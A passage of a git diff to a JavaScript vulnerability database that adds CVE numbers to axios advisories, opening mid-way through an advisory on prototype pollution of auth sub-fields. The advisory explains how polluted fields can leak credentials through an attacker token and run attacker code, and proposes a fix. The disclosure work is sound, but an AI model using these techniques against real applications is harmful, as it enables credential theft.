to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n request. If the request URL is attacker-influenced too (common in\n webhook/oauth-callback patterns), the credentials flow directly to\n the attacker. If not, they flow to the legitimate destination but\n expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n function, axios will execute that function with each `params`\n invocation — same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n precondition is \"deep-merges attacker JSON into a config object\n without `__proto__`/`constructor` filtering, then uses the empty-\n fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n Both halves are very common in real codebases (we tested\n `defaults-deep`, hand-rolled merges, and several lodash-family\n utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n Attributes — amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n const configAuth = own('auth');\n if (configAuth) {\n- const username = configAuth.username || '';\n- const password = configAuth.password || '';\n+ const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';\n+ const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';\n auth = username + ':' + password;\n }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n // HTTP basic authentication\n if (auth) {\n+ const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';\n+ const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';\n headers.set(\n 'Authorization',\n 'Basic ' +\n- btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n+ btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))\n );\n }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922's `own('params')` / `own('paramsSerializer')` change — that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737–740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n findings. The bundle's public tracking entry (without the working\n exploit chain) is at\n [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I'm happy to submit the patch as a PR if that helps. Or, if you'd\n prefer to fold this into open PR #10922 (whose author is actively\n responding to comments), please let me know and I'll coordinate.\n- Threat model honesty: this is **amplifier framing** — exploitation\n requires a separate prototype-pollution primitive elsewhere in the\n host process. That's how the existing GHSA-q8qp-cvcw-x6jj and\n PR #10833 were framed too, so the precedent for \"in-scope as a\n hardening fix\" is established.\n
", "identifiers": { - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "severity": "medium", "cwe": [ diff --git a/repository/jsrepository-v2.json b/repository/jsrepository-v2.json index c0741c43..c7e8fbe1 100644 --- a/repository/jsrepository-v2.json +++ b/repository/jsrepository-v2.json @@ -8289,7 +8289,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8311,7 +8314,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8333,7 +8339,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8355,7 +8364,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8377,7 +8389,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8398,7 +8413,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8419,7 +8437,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9063,7 +9084,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -9084,7 +9108,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9105,7 +9132,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9127,7 +9157,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9148,7 +9181,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9166,7 +9202,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9185,7 +9224,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9206,7 +9248,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9228,7 +9273,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9249,7 +9297,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g", diff --git a/repository/jsrepository-v3.json b/repository/jsrepository-v3.json index 50e2fd43..9f816473 100644 --- a/repository/jsrepository-v3.json +++ b/repository/jsrepository-v3.json @@ -8435,7 +8435,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8457,7 +8460,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8479,7 +8485,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8501,7 +8510,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8523,7 +8535,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8544,7 +8559,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8565,7 +8583,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9209,7 +9230,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -9230,7 +9254,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9251,7 +9278,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9273,7 +9303,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9294,7 +9327,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9312,7 +9348,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9331,7 +9370,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9352,7 +9394,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9374,7 +9419,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9395,7 +9443,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g", diff --git a/repository/jsrepository-v4.json b/repository/jsrepository-v4.json index 680e9302..bad56a4d 100644 --- a/repository/jsrepository-v4.json +++ b/repository/jsrepository-v4.json @@ -8434,7 +8434,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8456,7 +8459,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8478,7 +8484,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8500,7 +8509,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8522,7 +8534,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8543,7 +8558,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8564,7 +8582,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9208,7 +9229,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -9229,7 +9253,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9250,7 +9277,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9272,7 +9302,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9293,7 +9326,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9311,7 +9347,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9330,7 +9369,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9351,7 +9393,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9373,7 +9418,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9394,7 +9442,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g", diff --git a/repository/jsrepository-v5-combined.json b/repository/jsrepository-v5-combined.json index 5d6fbb13..8bdc2abd 100644 --- a/repository/jsrepository-v5-combined.json +++ b/repository/jsrepository-v5-combined.json @@ -8441,7 +8441,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8463,7 +8466,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -8485,7 +8491,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -8507,7 +8516,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -8529,7 +8541,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -8550,7 +8565,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -8571,7 +8589,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9215,7 +9236,10 @@ ], "identifiers": { "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3", @@ -9236,7 +9260,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -9257,7 +9284,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution gadgets can alter axios request construction", - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx", @@ -9279,7 +9309,10 @@ ], "identifiers": { "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72", @@ -9300,7 +9333,10 @@ ], "identifiers": { "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9", @@ -9318,7 +9354,10 @@ ], "identifiers": { "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698", @@ -9337,7 +9376,10 @@ ], "identifiers": { "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548", @@ -9358,7 +9400,10 @@ ], "identifiers": { "summary": "Axios form serializer maxDepth bypass via {} metatoken", - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23", @@ -9380,7 +9425,10 @@ ], "identifiers": { "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9", @@ -9401,7 +9449,10 @@ ], "identifiers": { "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", - "githubID": "GHSA-xj6q-8x83-jv6g" + "githubID": "GHSA-xj6q-8x83-jv6g", + "CVE": [ + "CVE-2026-67314" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g", diff --git a/repository/jsrepository-v5.json b/repository/jsrepository-v5.json index 34e113d7..e1f8def5 100644 --- a/repository/jsrepository-v5.json +++ b/repository/jsrepository-v5.json @@ -8440,7 +8440,10 @@ ], "identifiers": { "summary": "Axios: Nested axios option objects can consume polluted prototype values", - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "info": [ "https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq", @@ -8462,7 +8465,10 @@ ], "identifiers": { "summary": "Axios: 